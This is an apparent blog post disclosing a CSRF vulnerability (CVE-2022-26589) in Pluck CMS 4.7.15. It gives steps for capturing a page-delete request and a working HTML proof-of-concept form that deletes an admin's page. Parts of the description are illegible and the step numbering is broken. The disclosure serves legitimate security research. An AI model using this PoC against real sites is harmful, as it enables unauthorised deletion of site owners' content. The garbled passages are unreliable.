Devansh Bordia Follow
Apr 7 · 1 min read · Listen

Pluck CMS v4.7.15 CSRF Vulnerability at Delete Page

Exploit Title: Pluck CMS 4.7.15- CSRF Vulnerability on Delete Pages/Trashcan Endpoint

Vendor Homepage: http://www.pluck-cms.org

Software Link: https://github.com/pluck-cms/pluck/releases

Version: 4.7.15

Tested on: Windows 10

CVE : CVE-2022–26589

1. About — PluckCMS

Pluck is a small and simple content management system (CMS), written in PHP. With Pluck, you can easily manage your own website. Pluck focuses on simplicity and ease of use. This makes Pluck an excellent choice for every small website. Licensed under the General Public License (GPL), Pluck is completely open source. This allows you to do with the software whatever you want, as long as the software stays open source.

2. Description:

The application has an delete pages/t[illegible]re which has a CSRF vulnerability that allows an attacker to delete any a[illegible] of the admin user.

2.) Now create a page with any title in your mind.

3.) Now click on Page Delete and capture this request in Burpsuite.

4.) Go to any CSRF POC Generator: https://security.love/CSRF-PoC-Genorator/

5.) Now generate a CSRF Poc for Post based requests with necessary parameters.

6.) Finally open that HTML POC and execute in the same browser session.

7.) After the executing the POC we are able to delete the page of the admin user.

4. Exploit POC (Exploit.html)

```
<html>
<head>
<title>CSRF PoC </title>
</head>
<body>
<form action="http://localhost/admin.php?action=deletepage&var1=csrf"
method="GET">
<input type="text" name="action" value="deletepage" />
<br />
<input type="text" name="var1" value="csrf" />
<br />
<input type='submit' value='Go!' /> </form>
</body>
</html>
```